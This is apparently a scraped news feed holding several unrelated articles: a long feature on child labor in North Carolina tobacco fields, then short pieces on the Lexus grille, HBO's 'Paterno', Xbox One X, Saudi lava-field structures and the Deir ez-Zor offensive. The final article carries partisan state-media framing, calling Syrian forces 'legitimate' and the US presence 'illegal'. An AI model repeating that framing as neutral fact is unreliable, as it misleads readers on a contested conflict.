In most industries in the United States, child labor is highly regulated. Children need to be 14 to 16 years old to work, depending on the industry, and there are standards governing what they can and cannot do. The Fair Labor Standards Act makes exceptions for many small farms, meaning they can hire children at any age—an exception that many family farms have relied on to run their businesses. On bigger farms, children with parental permission may work for hire as young as 12, and do work deemed to be hazardous as young as 16. The lack of standards for child labor in agriculture dovetail with the lack of protections for farmworkers more generally: Under federal law, farmworkers cannot legally collectively bargain, and rarely receive benefits and overtime.

In eastern North Carolina, where Yesenia lives, agriculture is big business. According to data from North Carolina State University, agriculture makes up 17 percent of the state’s economy and 17 percent of its workforce. Seventy-five percent of the state’s cash crops are grown in this part of the state, where the low fields seem to flatly run forever into the sea. In between are small towns, farmhouses, abandoned barns, and strip malls. (Cash crops are crops grown for commercial value rather than personal consumption.) Although tobacco production has been on the decline, the 2017 State Agriculture Overview lists tobacco as the state’s most valuable crop, bringing in $ 724 million last year. It’s a defining product of the state, and known for being high quality. International tobacco companies such as China National Tobacco, Philip Morris International, and British American Tobacco use North Carolina tobacco.

By definition, migrant farmers move from crop to crop, and child workers are no different, moving from tobacco to cucumbers, blueberries, and then sweet potato as the season progresses. (There aren’t exact numbers, but Reid Maki, the coordinator of the Child Labor Coalition at the National Consumers League, a consumer-advocacy nonprofit, estimates there are 300,000 to 400,000 child workers in U.S. agriculture. The government doesn’t have recent, detailed statistics on these workers.)

Tobacco is planted by June. A few weeks later, “the crop is ready to start topping,” Melissa Bailey Castillo, the outreach coordinator at the Kinston Community Health Center, told me. “It is labor-intensive for a few weeks, where you need as many people as you can to get it topped as quickly as you can.” This means that farmers are pressured to fill the fields quickly with workers and look for able bodies rather than paperwork. “So it is a prime candidate for child labor,” she added.

For many migrant workers in North Carolina, working tobacco is “a rite of passage,” Norma Flores Lopez, of Migrant Head Start, an organization that provides services to migrant-worker children, told me.

As far a rites of passage go, it’s one that’s more or less hidden from view—with employers, companies, and consumers alike not seeing the labor that goes into tobacco picking. It is very hard to tie a specific worker to the cigarette at the end of the chain. Workers often do not even know the farm they are on (and in many cases contractors will not tell them) or who they are working for. They are often paid in cash, and give no identification when they show up to work. In this way, the workers are invisible, and because their work is largely unregulated, the government isn’t watching closely either.

“The biggest thing I noticed when we were advocating for child-labor abolition was that farmers were like, ‘Kids, what kids? I don’t have kids,’” Castillo told me. The farmers could simply point to a contractor. “Farmer Brown has willful ignorance. He doesn’t know he doesn’t want to know.” Castillo points out there are thousands of acres to manage, and hundreds of workers. “It doesn’t excuse them, but they really don’t know. When you start to tell them stories they are mortified.”

I first arrived in Kinston in February, when the sky was still gray and the fields were still brown. The streets were empty besides a young woman selling Girl Scout cookies with her mom and a few out-of-towners arriving to go to Chef & the Farmer, a fancy restaurant whose chef has a show on PBS. Queen Street, the main drag, had an old-time feel, with its Civil War monument and interpretive center, shuttered theater, and painted wooden houses.

But the hallmarks of the coming agricultural season had begun already. The hardware store had signs in the window advertising live chicks and seeds. A white van rolled through, packed with agricultural workers. Soon, the Mexican markets would be crammed with posters advertising seasonal work. And in the fields close to Kinston, the trailer parks would fill with trailers, and the trailers would fill with migrant workers. In these campos, or camps, people live sometimes 10 to 15 to a house, not including children, with 30 to 40 sharing a bathroom. Many trailers are without running water, heat, or electricity. In the summer, cords would run from one trailer to another, linking a few lucky ones with electricity. Contractors in their white vans would drive through asking whether anyone needed work the next day. And people young and old would say yes.

Ingrid, who asked me not to use her last name because she doesn’t want to be publicly identified with such a difficult chapter of her life, began working in the fields when she was 13 in order to provide for her six-week-old son. She had moved in with her father, and he told her she had to work in order to have them stay. “It was at an age where you don’t have the muscles yet, so it was hard,” she said. She is now 22, and drove two hours to come meet me in Raleigh at a Marriott. She was petite, wearing a white top, and chose her words carefully. She still looked impossibly young.

Ingrid recounted how the lack of water in the fields meant that when you went to break for food, there wasn’t always water for you to wash your hands, so you would eat with your hands covered in pesticides and tobacco. “Find some water or just eat,” she said.

A landmark Human Rights Watch study on child labor in tobacco, published in 2014, found that nearly three-quarters of the 141 children they interviewed, all between the ages of 7 and 17, reported “serious symptoms—including nausea, vomiting, loss of appetite, headaches, dizziness, skin rashes, difficulty breathing, and irritation to their eyes and mouths—while working in fields of tobacco plants.” The study also found that many children were exposed to pesticides and other dangers, as well as nicotine. “Child tobacco workers often labor 50 or 60 hours a week in extreme heat, use dangerous tools and machinery, lift heavy loads, and climb into the rafters of barns several stories tall, risking serious injuries and falls,” Margaret Wurth, the author of the report, wrote.

At Wake Forest University, in Winston-Salem, North Carolina, Thomas Arcury and Sara Quant, professors of family and community medicine, have been researching farmworker health for years. They did a study on green-tobacco sickness in adults, also known as nicotine poisoning, and found that 25 out of the 182 workers they surveyed had experienced it. In another study, they examined conditions of farmworker youth between the ages of 7 and 17. “Youth farmworkers are especially vulnerable to occupational injuries because of their smaller size, lesser strength, and greater surface-to-volume ratio compared with adults; their developing neurological and reproductive systems; and their lack of maturity and experience,” they wrote.

“What we found is that the way this work is organized leaves these children in a very unsafe work environment,” Arcury told me. “Would you put a 10-year-old working in a field with a bunch of 20- and 30-year-old men and women doing heavy work in an unsafe environment?” Ingrid mentioned that sometimes the other workers also pose a threat—as a 13-year-old girl, she feared every time she had to go off alone to the edge of a field to use the bathroom that she would be sexually assaulted. Children also struggle to stay on pace when crops are paid on a piece-by-piece rate. “These are kids, so they are not as strong and can’t keep up. There’s pressure on them from the adults working in the same environment to keep up.”

Arcury and Quandt, who have studied farmworker health extensively, cautioned me on fixating only on tobacco. “It just isn’t tobacco,” said Arcury. “You can ban working in tobacco, but it’s not going to work. They will be doing everything else in those jobs and exposed to everything but nicotine. That’s a good thing. But they will still be exposed to organophosphate pesticides, still exposed to the heat and humidity and the heavy loads,” he said.

Many of the kids who develop health issues show up at the Community Health Center in Kinston. Inside is a dental clinic, a pediatric clinic, and an obstetrician. The only center of its kind for miles, the clinic has to be everything to everyone, including a transportation service. For the most part migrant workers can’t drive, because they lack either documentation or a car or both. In many camps, their only chance of getting anywhere, including the grocery store, is to go on the day the contractor goes. Everyone puts in their order with whichever lucky person gets a seat in the car. The clinic has some vans of its own, and Castillo, the clinic’s outreach coordinator, said she’d also love to open some remote access points, especially during the picking season. Today the waiting rooms are quiet, except for a few families sitting in the chairs and some calls over the loudspeakers for interpreters. Castillo, who takes me on a tour of the center, tells me that it is the most crowded during the season on the days that it rains, and then the doctors can find themselves feeling overwhelmed.

Upstairs, in a conference room on the top floor, along with Yesenia and Castillo, I met Sandy Tripp, a pediatric nurse practitioner here. Tripp, with blond bangs and a brightly colored patterned top, said she looks for the telltale signs that her patients have been working in the fields. “I do look for things like calluses on hands, dirty feet,” she said. “Signs of bruises in places you wouldn’t normally see bruises. I ask the children ‘You know, what do you do for fun?’ leading questions so they tell me.” If they are older than 12, she can’t stop them from working, but she does try use her time to educate them, providing some measure of occupational-safety training, which is mostly lacking.

“I can only say, ‘You need to be careful. Your back is growing. Your muscles are developing. If you have a mask, if you have access to protective equipment, you need to use it.’” No matter what type of work they do or who they are, teenagers have the unfortunate habit of thinking they are invincible, she said. “When they reach the ages of 12 to 16, they don’t have a sense of ‘This can really happen to me. I can get sick.’ They have no fear. Even if they have protective equipment, they may not use it.”

Yesenia told me that the first day she was supposed to work tobacco, she dressed in a tank top and shorts, thinking it was going to be really hot out there. Her mother told her immediately to put on some pants and long sleeves. “She said it was because of the sun. Little did we know it was also to protect us from the pesticides,” she said. She said during her work she would walk out into the fields and “everything would be really wet,” a sign that fields had been recently sprayed, and it would smell noxious.

“We thought it was fertilizer,” she said. Ingrid recalled a time when they were spraying the field next to where she was working and the woman next to her fainted. “Oh okay, it’s the heat,” said the person in charge, she said. “But,” according to Ingrid, “it wasn’t the heat.” She believes it was chemical exposure.

Castillo said at the clinic they see a lot of children with allergies on their skin, from both the pesticides and tobacco. “They are the world’s worst for not wearing gloves,” she said. “These skin issues come up, from the way their skin reacts to the tobacco leaves and the pesticides. That and respiratory issues—we see a lot of breathing problems.”

There have been measures brought forward to change the laws on tobacco and children farmworkers. When President Obama took office, the labor secretary at the time, Hilda Solis, proposed changing the laws, putting “work with tobacco” and “work with power-driven equipment” into the category of hazardous work that can’t be done by anyone under 16. Margaret Wurth, from Human Rights Watch, told me that she and her colleagues had thought they might be able to ban child labor in farming more generally, but, in the end, “there wasn’t political will.”

In 2012, when Obama was up for reelection, his administration withdrew Solis’s proposal after coming under criticism from Republicans in Congress and farm groups who said the bill would hurt family farms and make it harder to teach kids about farming. A 2012 article in The Hill quoted Representative Denny Rehberg of Montana, a Republican, who said the language of the exemption wasn’t clear enough, leaving too much “to the whims of how the next Labor secretary or the next administration decides to interpret these rules.” In withdrawing the proposal, the Labor Department said in a statement that the administration was “committed to promoting family farmers and respecting the rural way of life.” (The Department of Labor and the EPA did not respond to my requests for comment.)

Advocates for the bill said that misconceptions about what the legislation would do clouded the debate. Wurth, of Human Rights Watch, said the proposal was twisted into “kids not being able to operate battery-powered flashlights on farms.” That the Obama administration withdrew the bill as opposed to fighting for it, even if that fight would have ended in defeat, was, she said, “salt in the wound.”

Maki, of the Child Labor Coalition, attributes this “misinformation campaign” directly to the American Farm Bureau Federation (AFBF), the largest farming industry group in the country. “Farm and ranch families are more interested than anyone else in assuring the safety of farming operations,” said the then-president of the AFBF, Bob Stallman, in 2012. “We have no desire at all to have young teenagers working in jobs that are inappropriate or entail too much risk. But, laws and regulations need to be sensible and within reason—not prohibiting teenagers from performing simple everyday farm functions like operating a battery-powered screwdriver.”

I spoke with Paul Schlegel, the deputy policy director for the AFBF, twice for this story. He told me his recollections of the hearings, about a mother who testified that her child was injured more frequently in gym class than on their farm. “There were members who talked about what they learned when they were 13, 14, 15, working outside of school hours in accordance with state law, and how meaningful that experience was to them,” he told me.

“I don’t know if you come from an agricultural background, but there is a very strong work ethic in the people we represent,” he continued. “I think you find generally if you start from the premise that people don’t care about the safety of any of the people who work on farms, not just young kids, but anybody, you will get a strong reaction from our members that that is not an accurate reflection of how they go about their business.”

When I kept asking about workers not on family farms but on larger, industrial operations, he stopped me. “I’m sorry, are you from an ag background? Did you grow up on a farm? I’m sorry,” he said.

There were two changes to EPA regulations under Obama, starting in 2015, that advocates for child farmworkers counted as victories, and that the Trump administration is now targeting to roll back. One is a revision to the worker-protection standard, which currently bans children under 18 from handling pesticides or reentering fields where pesticides have been recently sprayed, and the second is a rule that bans children from working with restricted-use pesticides. The AFBF supports these rollbacks, saying they were introduced poorly and should be left up to the states, according to Schlegel.

About an hour from Kinston is the Tobacco Farm Life Museum, celebrating the history of tobacco growing in the area. One exhibit features women grinning and wearing T-shirts that say Proud to be a tobacco farmer’s daughter. On the day I visited, there was a hog-killing demonstration, sponsored by the North Carolina Pork Council. Duke University is named after a tobacco magnate, and the term tobacco road is used to reference the athletic conference for North Carolina universities. Tobacco is the region and its history.

And yet, despite tobacco’s omnipresence, the children who work the fields are barely seen or discussed. Castillo’s daughter, Samantha, told me that a few years ago she and some other advocates put on an exhibition of photographs of child labor. “People were shocked,” she said. Samantha gave a speech about child labor in agriculture in farming at a college in Kentucky, another state with a large tobacco-growing industry, and many in attendance expressed complete disbelief.

Yesenia once brought the NC FIELD youth group to an event at Wake Tech, a community college in Raleigh, featuring presentations by executives of tobacco companies. Yesenia and her friends sat up front, and her sister pointed out to her that the executives weren’t addressing child labor in the talk. After the event ended Yesenia and her friends had a conversation with the executives. “Let’s just say the conversation carried on so long we had to take it outside. They had the same reaction that some people have where they are oblivious to child labor.”

And this is the crux of the matter: In the absence of government regulation, the power to see or not see these children, to employ them or not, to enforce precautionary health measures or not—all of this rests with the tobacco companies and the subcontractors they use. Some of the major tobacco companies have changed their standards in response to reports on child-labor conditions, even though the government has not asked them to. Philip Morris International, for example, has sought to improve how they source their tobacco and raised their minimum age for farmworkers, according to Castillo. Miguel Coleta has been working at Philip Morris International on labor-rights issues, and the company began to implement changes in the U.S. in 2010. Human Rights Watch recognized Philip Morris for targeted changes to reduce child labor in 2014, after the organization’s report.

Coleta’s work in the U.S. is quite different than similar work in other countries, he says. “In the case of the United States, setting those clear standards in terms of child labor meant setting standards that are stricter [than] U.S. law,” Coleta said. He added it was hard at first to get farmers on board: “The challenge for us was to get farmers understanding why we were imposing those standards and the fact that they had no reflection in the law made this process more difficult than other places,” he said. Since then, other companies have followed suit, adopting higher minimum-age standards, which, said Coleta, “makes our life easier.”

I reached out to British American Tobacco, which acquired the North Carolina–based Reynolds Tobacco last summer, creating the world’s largest publicly traded tobacco company. “We do not employ children in any of our operations worldwide and make it clear to all of our contracted farmers and suppliers that exploitative child labour will not be tolerated,” said a spokesperson for the company. According to British American Tobacco, they are not aware of significant issues within their own supply chain. A spokesperson for R.J. Reynolds Tobacco told me over email that they assess their farms through third-party audits, interviews, and employee assessment. The 2016 audit of 341 farms found 22 minors, four employed in violation of their contracts. “Note that a violation of R.J. Reynolds Tobacco Company’s policy regarding the age of employment does not mean that a grower violated child labor laws,” the spokesperson wrote.

But for some companies, the lack of government oversight has meant that they have no reason to look for a problem—no reason to see the children who pick the tobacco that they turn into cigarettes. This is the case at China National Tobacco (CNTC), the largest cigarette maker in the world, which has offices in Raleigh. It has not made any statements or outward changes based on industry pressure or the Human Rights Watch report. (Yesenia said the officials she spoke with at the meeting were from CNTC.) The company supplies one-third of the world’s cigarettes and has recently expanded from the Chinese market to cruise ships and other countries. (CNTC did not respond to requests for comment.)

Castillo is doubtful that the standards have been met as companies say they have, especially without government regulation that would force companies to do more: “Even now, it’s not about your age, it’s about how big you are,” she said. “If you don’t look like you are 10 to 12, you are going to get a job.” Most of the farmworker youth I spoke with for this story said they were not asked their ages or for identification when they showed up for work. It’s almost as though nobody cared who they were at all.

]]> https://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/feed/ 0 Lexus exec says he still fields complaints about the spindle grille https://briefnews.eu/lexus-exec-says-he-still-fields-complaints-about-the-spindle-grille/ https://briefnews.eu/lexus-exec-says-he-still-fields-complaints-about-the-spindle-grille/#respond Tue, 23 Jan 2018 06:08:14 +0000 http://briefnews.eu/lexus-exec-says-he-still-fields-complaints-about-the-spindle-grille/

When Lexus debuted its spindle grille on the GS sedan and trademarked the design back in 2012, it was a sure sign the look was here to stay, and it started making its way through the lineup in the 2013 model year. Five model years later, it’s on all Lexus vehicles. The one thing everyone can all agree on is, it’s bold. Some people surely think nothing of it. Others have equated it to a cartoon character, a beard trimmer, or a whale scooping up krill. And Lexus has doubled down on the design with the LF-1 Limitless Concept on display at the Detroit Auto Show.

(In one harsh, perhaps apocryphal criticism, a design professor is said to have likened the spindle to the mouth of the titular hunter-alien in the “Predator” movies. In a much kinder spacefaring comparison, our Antti Kautonen said the grille of the LF-1 Limited Concept mimics a “Star Wars” ship’s shift into hyperspace.)

A couple of years ago, Toyota chief designer — and head of Lexus — Tokuo Fukuichi defended the look in a Reuters interview, even going so far as to say that “sexy” was a goal of the design, and dismissing complaints by saying, “Even polarizing designs, you get used to them after a while.” That defense was “a while” — three years — after the new look caused an uproar at a 2012 Toyota stockholders’ meeting, where shareholders complained it was giving the brand a bad reputation. Some at the meeting likened the grille to an ugly deep-sea creature. (A kraken from the darkest depths, presumably, not a friendly baleen whale).

Now it has been “a while” longer, and a Lexus executive says the spindle grille has continued to divide Lexus customers. Jeff Bracken, Lexus group vice president and general manager, told Carbuzz on the sidelines of the Detroit show last week that longtime repeat customers still can’t get their heads around whatever it is the car seems to be getting its mouth around.

“I’ll be very transparent. It’s our signature grille. Some of our models have a more expressive signature grille than others. The folks that look at it as somewhat polarizing would be, for the most part, the folks that have been with us since the beginning. In fact I’ll take phone calls from some of these owners and will literally spend 45 minutes to an hour on the phone with me just expressing how disappointed they are,” Bracken said.

Bracken has actually been saying almost the exact same things about the grille for years — both to upset customers and to automotive journalists — for example, to Forbes in 2014. But his mention of “I’ll take calls” in this latest quote seems to indicate it’s still going on.

“It gives me an opportunity to explain why we’re going down this path. I understand your concern. It’s a very purposeful and strategic move on our part. If we lose some of our traditional owners, it’s unsettling for us but won’t preclude us from moving down this path. We hope to gain more than we lose. We don’t want to lose anybody, but …”

Lexus’ intent with the new design direction was to lure new customers as the luxury-buyer demographic started to skew younger.

“Our (previous) image had been that of a producer of high-quality luxury vehicles for years. But that wasn’t enough to keep us relevant. It was important that we not only produced high-quality luxury vehicles but also that had to be edgy in terms of styling and cutting-edge technology.”

And of course the grille looks better on some cars — such as the overall sharp-looking LC 500 (the multi-stage hybrid version is Autoblog’s Technology of the Year car) — than it does on others.

But did the design serve its intended purpose? Did Lexus “gain more than we lose”? Lexus sales in the United States grew by 40 percent between 2012 and their peak in 2015. But since then, sales have fallen by 11 percent. What we don’t know — and only Lexus can — is, did some older customers disavow their loyalty to Lexus and buy a German luxury car? Were gains in new customers enough to justify any loss of old ones? Did customers, either gained or retained, buy a Lexus based on any number of good reasons — the brand’s quality, features, technology, or the way it holds its value — while holding their nose about … the nose?

Many bigger factors, including great deals on luxury cars coming off leases and Americans’ fondness for pickups, have had an effect on the luxury brands. The overall slump in the sedan market, especially, and the rise in luxury SUV sales has Lexus looking to regain lost ground by bringing an additional SUV like the LF-1 into its lineup, a vehicle Jeff Bracken and other Lexus brass are eager to get into production. And for now, in concept form at least, the LF-1 has a spindle grille. So Bracken’s phone might not stop ringing anytime soon.

Material from Reuters was used in this report.

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]]> https://briefnews.eu/lexus-exec-says-he-still-fields-complaints-about-the-spindle-grille/feed/ 0 HBO’s ‘Paterno’ Trailer: A Weary Al Pacino Fields Questions About Jerry Sandusky https://briefnews.eu/hbos-paterno-trailer-a-weary-al-pacino-fields-questions-about-jerry-sandusky/ https://briefnews.eu/hbos-paterno-trailer-a-weary-al-pacino-fields-questions-about-jerry-sandusky/#respond Sat, 20 Jan 2018 10:20:28 +0000 http://briefnews.eu/hbos-paterno-trailer-a-weary-al-pacino-fields-questions-about-jerry-sandusky/ paterno trailer

“Did you know about Jerry?”

The implicit accusation in those words resound through the short teaser trailer for Paterno, HBO’s movie about the disgraced Penn State football coach whose shining legacy was tainted in the wake of a horrific child sex abuse convictions of his assistant coach, Jerry Sandusky. Al Pacino plays the titular Joe Paterno, a beloved football coach whose reputation bordered on idolatry in the small college town of Happy Valley.

Paterno Trailer

Paterno covers the two-week period between the revelations of Sandusky’s 15-year history of sexually abusing children and firing of Paterno from his position at Penn State. The brief teaser shows us little except for flashes of the horrified expressions on Paterno’s family’s faces after learning about the scandal, the press hounding Paterno for a comment, and Al Pacino’s own crestfallen face as Joe Paterno, the Oscar-winning actor looking weary and perhaps a tad guilty.

“The question isn’t just what he knew, it’s what he did about it,” Pacino said during HBO’s TCA presentation of the film, according to Indiewire. “I think he knew there were complaints. He knew there were rumors. […] I don’t think he was very fond of Sandusky, for whatever reasons — I think there were other reasons.”

Paterno was a famed figure in the football and Penn State community, leading the college team through 46 seasons, winning 24 bowl games and two national titles. A statue of the coach was even erected outside Penn State’s Beaver Stadium — a statue that was removed in 2012, a year after the scandal broke. But Sara Ganim, who won a Pulitzer Prize for reporting on the Penn St. scandal and worked as a consultant on the series, said the shockwaves from the Penn State sex abuse scandal are still felt today in Happy Valley.

“[Paterno’s legacy is] still a hotly debated topic,” Ganim said, after being asked about how local Penn St. fans feel about the coach today. “Unfortunately […] it is a gray area for a lot of people. It’s not known one way or another what people knew.”

Here is HBO’s official synopsis of Paterno:

After becoming the winningest coach in college football history, Paterno’s legacy is challenged and he is forced to face questions of institutional failure. Academy Award® and Emmy® Award winner Al Pacino returns to HBO in the title role, as Penn State’s Joe Paterno in the aftermath of the Jerry Sandusky sexual abuse scandal.

Paterno is slated to premiere on HBO in the spring of 2018.

The post HBO’s ‘Paterno’ Trailer: A Weary Al Pacino Fields Questions About Jerry Sandusky appeared first on /Film.

]]> https://briefnews.eu/hbos-paterno-trailer-a-weary-al-pacino-fields-questions-about-jerry-sandusky/feed/ 0 The Physics of Plastic Sheets … and Their Invisible Force Fields? https://briefnews.eu/the-physics-of-plastic-sheets-and-their-invisible-force-fields/ https://briefnews.eu/the-physics-of-plastic-sheets-and-their-invisible-force-fields/#respond Wed, 03 Jan 2018 16:00:59 +0000 http://briefnews.eu/the-physics-of-plastic-sheets-and-their-invisible-force-fields/ Can fast-moving plastic sheets create an invisible wall? Maybe, maybe not. But you can definitely explore the electric effects of plastic on your own.


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]]> https://briefnews.eu/the-physics-of-plastic-sheets-and-their-invisible-force-fields/feed/ 0 Children In Need 2017: Katie Melua’s Fields of Gold SOARS up charts after performance https://briefnews.eu/children-in-need-2017-katie-meluas-fields-of-gold-soars-up-charts-after-performance/ https://briefnews.eu/children-in-need-2017-katie-meluas-fields-of-gold-soars-up-charts-after-performance/#respond Sat, 18 Nov 2017 02:49:19 +0000 http://briefnews.eu/children-in-need-2017-katie-meluas-fields-of-gold-soars-up-charts-after-performance/

Fields of Gold – a cover of a track by Sting – did not chart in this week’s official Top 100, revealed earlier today.

However at time of writing it is racing back towards the Top 10 on iTunes; at No14 at around 10pm, around the time Melua performed.

It is set to race higher as viewers rush to download it after having seen it performed live.

It’s been a few years now since the charity released an official single that went all the way to No1: in fact Gareth Malone’s All Star Choir was the last to achieve it, back in 2014.

Last year’s effort from Craig David – All We Needed – missed the Top 40, peaking at 42.

Other acts who have hit No1 in the name of Pudsey are Lou Reed (Perfect Day, 1997), S Club 7 twice (Never Had A Dream Come True and Have You Ever, 2000 and 2001), Girls Aloud (I’ll Stand By You, 2004), Peter Kay’s Animated All Star Band (The Official BBC Children In Need Medley, 2009) and JLS (Love You More, 2010).

The first Children In Need single was from Clannad in 1985, which peaked at No80.

As Melua performed tonight, one person tweeted: “So beautiful! Sir Terry would be so proud. Eva Cassidy too! I loved your version & am buying it pronto.”

“I love this song so much it is one of my favourite songs,” said someone else.

A third viewer replied: “Brilliant! sung with heart.”

Fields of Gold by Katie Melua is out now.

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]]> https://briefnews.eu/children-in-need-2017-katie-meluas-fields-of-gold-soars-up-charts-after-performance/feed/ 0 Team Xbox dishes on the new One X, fields our ridiculous requests https://briefnews.eu/team-xbox-dishes-on-the-new-one-x-fields-our-ridiculous-requests/ https://briefnews.eu/team-xbox-dishes-on-the-new-one-x-fields-our-ridiculous-requests/#respond Mon, 06 Nov 2017 14:06:36 +0000 http://briefnews.eu/team-xbox-dishes-on-the-new-one-x-fields-our-ridiculous-requests/

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REDMOND, Wash.—Ahead of Xbox One X‘s November 7 launch, Ars Technica was invited to hang out at the company’s Xbox campus and chat with one of the console’s leading managers. With this opportunity in mind, we grabbed a camera crew and asked as many questions of Kevin Gammill, the Xbox division’s “core platform group program manager,” as we could.

For the most part, we stuck with questions about the past, present, and future of the Xbox One X console, which the company is positioning as a current-gen “upgrade” option. Team Xbox wants players to feel comfortable that their games will work on any Xbox they buy from here on out, whether that’s the more budget-minded Xbox One S or the brand-new, $ 500 Xbox One X. The more expensive option has its merits, particularly 4K-friendly updates (which are significantly less than an equivalent PC) for those with such a TV. But we took the opportunity to ask questions about concerns we ran into during our tests.

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]]> https://briefnews.eu/team-xbox-dishes-on-the-new-one-x-fields-our-ridiculous-requests/feed/ 0 Archaeologists are mystified by ancient “gates” in Saudi lava fields https://briefnews.eu/archaeologists-are-mystified-by-ancient-gates-in-saudi-lava-fields/ https://briefnews.eu/archaeologists-are-mystified-by-ancient-gates-in-saudi-lava-fields/#respond Fri, 20 Oct 2017 21:55:25 +0000 http://briefnews.eu/archaeologists-are-mystified-by-ancient-gates-in-saudi-lava-fields/

Google Earth

For almost a century, aerial photographers have been documenting mysterious, millennia-old structures built from low walls of stone in the rocky lava fields, known as harrat, in Syria, Jordan, and Saudi Arabia. This desert region, blistered with volcanic mounds, is nearly devoid of life. But seen from above, the barren ground is covered with massive, interlocking geoglyphs that take the form of abstract arrow shapes called “kites” and rough rectangles called “gates.”

University of Western Australia archaeologist David Kennedy became interested in the structures after discovering how easy they were to track using Google Earth. He’d seen some of the kites while doing fieldwork in Jordan and realized that the structures continued into Saudi Arabia. “We would have loved to fly across into Saudi Arabia to take images. But you never get the permission,” he told the New York Times. “And then along comes Google Earth.” Now Kennedy has a paper about the rectangular gate structures in a forthcoming issue of Arabian Archaeology and Epigraphy.

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]]> https://briefnews.eu/archaeologists-are-mystified-by-ancient-gates-in-saudi-lava-fields/feed/ 0 US on collision course with Syrian forces in ‘race for Deir ez-Zor’s oil fields’ https://briefnews.eu/us-on-collision-course-with-syrian-forces-in-race-for-deir-ez-zors-oil-fields/ https://briefnews.eu/us-on-collision-course-with-syrian-forces-in-race-for-deir-ez-zors-oil-fields/#respond Tue, 12 Sep 2017 06:17:56 +0000 http://briefnews.eu/us-on-collision-course-with-syrian-forces-in-race-for-deir-ez-zors-oil-fields/ The race between legitimate Syrian government forces and the US-backed SDF umbrella group to control the oil rich Deir ez-Zor province has intensified following the lifting of the blockade by Syrian troops last week and risks turning into direct confrontation.

Last Tuesday, the Syrian military backed by the Russian air force finally broke the IS (Islamic State, formerly ISIS/ISIL) siege of Deir ez-Zor from the west following a cruise missile strike on terrorist positions.

The advance to clear the remaining terrorists progressed at a steady pace, and by Saturday, Syrian government forces smashed the IS blockade of the military airport which for three years had served as the only lifeline to the city.

Following Damascus’ strategic victory, and while its forces continue to squash pockets of IS resistance in the west of the city, the US backed Syrian Democratic Forces (SDF) swiftly announced on Saturday a separate offensive east of Deir ez-Zor. SDF forces raced to Deir ez-Zor which lies only 140 km south-east of Raqqa, where the US-led coalition is conducting its main offensive against ISIS.

“Combined Joint Task Force Operation Inherent Resolve (CJTF–OIR) welcomes the commencement of their offensive to defeat the Islamic State of Iraq and Syria in the Khabur River Valley, dubbed ‘Operation Jazeera Storm,’ north of Dayr Az Zawr (Deir ez-Zor) in eastern Syria,” the Pentagon said in a statement Saturday. It added that the operation will be run by the Deir Ez-zor Military Coalition.

The Pentagon confirmed that US-led coalition forces will support the mainly Kurdish militia in the “Khabur River Valley offensive” as part of the advice and assist mission. The US-coalition also said that it will offer the SDF equipment, intelligence and logistics support, in addition to “precision fires and battlefield advice.”

READ MORE: Syrian Army with Russian air support breaks airbase siege near Deir ez-Zor – MоD

“It’s going to be a race,” former Pentagon official Michael Maloof told RT. “It is going to be a race because you’ve got the Syrian army with Russian assistance coming in from the West and you have the United States coming in from the north and the East.”

On Sunday, spokesman for the CJTF–OIR, Army Colonel Ryan Dillon, said the SDF has made “significant gains into the Khabur River Valley,” capturing roughly 250 km2 since launching its Operation Jazeera Storm offensive. The Khabur River runs south through Deir ez-Zor province into the Euphrates River, which is about 35 kilometers east of the provincial capital.

According to reports, the SDF was just a few kilometers across the river from Deir Ez-zor city. The coalition of Arab and Kurdish fighters, allegedly advanced from the northeast, reportedly capturing the 113th Brigade Base and parts of the Al-Salihiyah District, Almasdar news noted in their report.

Meanwhile Monday, the Syrian army continued with its successes against IS fighters in the west near the airport, “liberating the 17th Hills that are located just southwest of the Liwaa Tameen Base,” the report added.

According to Almasdar, both forces are apparently aiming to block each other’s path to the city of Albukamal on the Euphrates river which lies near the border with Iraq.

“As we get closer to Deir ez-Zor and you have these forces converge upon one another, the importance of [communication] between the Russians and the coalition, SDF and the regime becomes more important,” Dillon was quoted as saying by Foreign Policy magazine.

READ MORE: Russia sends sappers to help demine liberated parts of Deir ez-Zor (VIDEO)

“The SDF and regime conduct all their interactions [with Russian side] through the deconfliction channel” Major Adrian Rankine-Galloway, a defense department spokesperson told Foreign Policy. “We pass messages on about where we’re operating, and they’ll pass on where they’re operating,” he said.

The SDF has meanwhile promised not to attack Syrian government forces.

Read more

A T-72 tank of the Syrian Republican Guard at the frontline on the outskirts of Deir ez-Zor. © Mikhail Voskresenskiy

“We have clear instructions that after Daesh is eliminated, we should not act against the forces of the [Bashar Assad] regime or against the Russian, Iranian forces or the Hezbollah movement, which are allied with it,” SDF spokesman Talal Silo told Sputnik Monday.

As the SDF military offensive to expel IS and secure parts oil rich province continues, tribal figures aligned with SDF have already proposed measures to form their own form of government. Tribal figures on Monday called for “establishing a preparatory committee that will discuss the basis and starting points for a Civil Council for Deir ez-Zor.”

The statement published by SDF’s media office said the consultations would aim to reach a “formulation that will express the aspirations of all our people in Deir ez-Zor.” The statement, however, did not mention if the city council activities would be coordinated with the central government.

Maloof believes the US is intentionally using the Kurds to permanently entrench themselves in the oil rich Syrian province that is bordering Iraq.

“I think the US activity, their initiatives now are calculated. They are meant to try to maintain a US presence in Deir ez-Zor,” Maloof pointed out.

‘Moment of triumph’: Deir ez-Zor governor speaks about his city’s liberation from ISIS (VIDEO)

“Even though the Syrian army and the Russian air assistance has basically taken over the place, the United States really wants to maintain that area. They want to occupy it with the help of the Kurds.”

“I think the United States has the intentions of building a base there. The US has political and strategic intentions for that region; aimed principally at trying to maintain influence in neighboring Iraq ultimately.”

READ MORE: Bashar Assad’s Deir ez-Zor victory puts illegal US presence in spotlight

“Ultimately the Syrian army needs to reoccupy their own area, their country,” Maloof said “I think there is going to be a need for the United States and Russia to talk about this because this could create even greater conflict on who is going to ultimately occupy Deir ez-Zor and indeed that entire region.”

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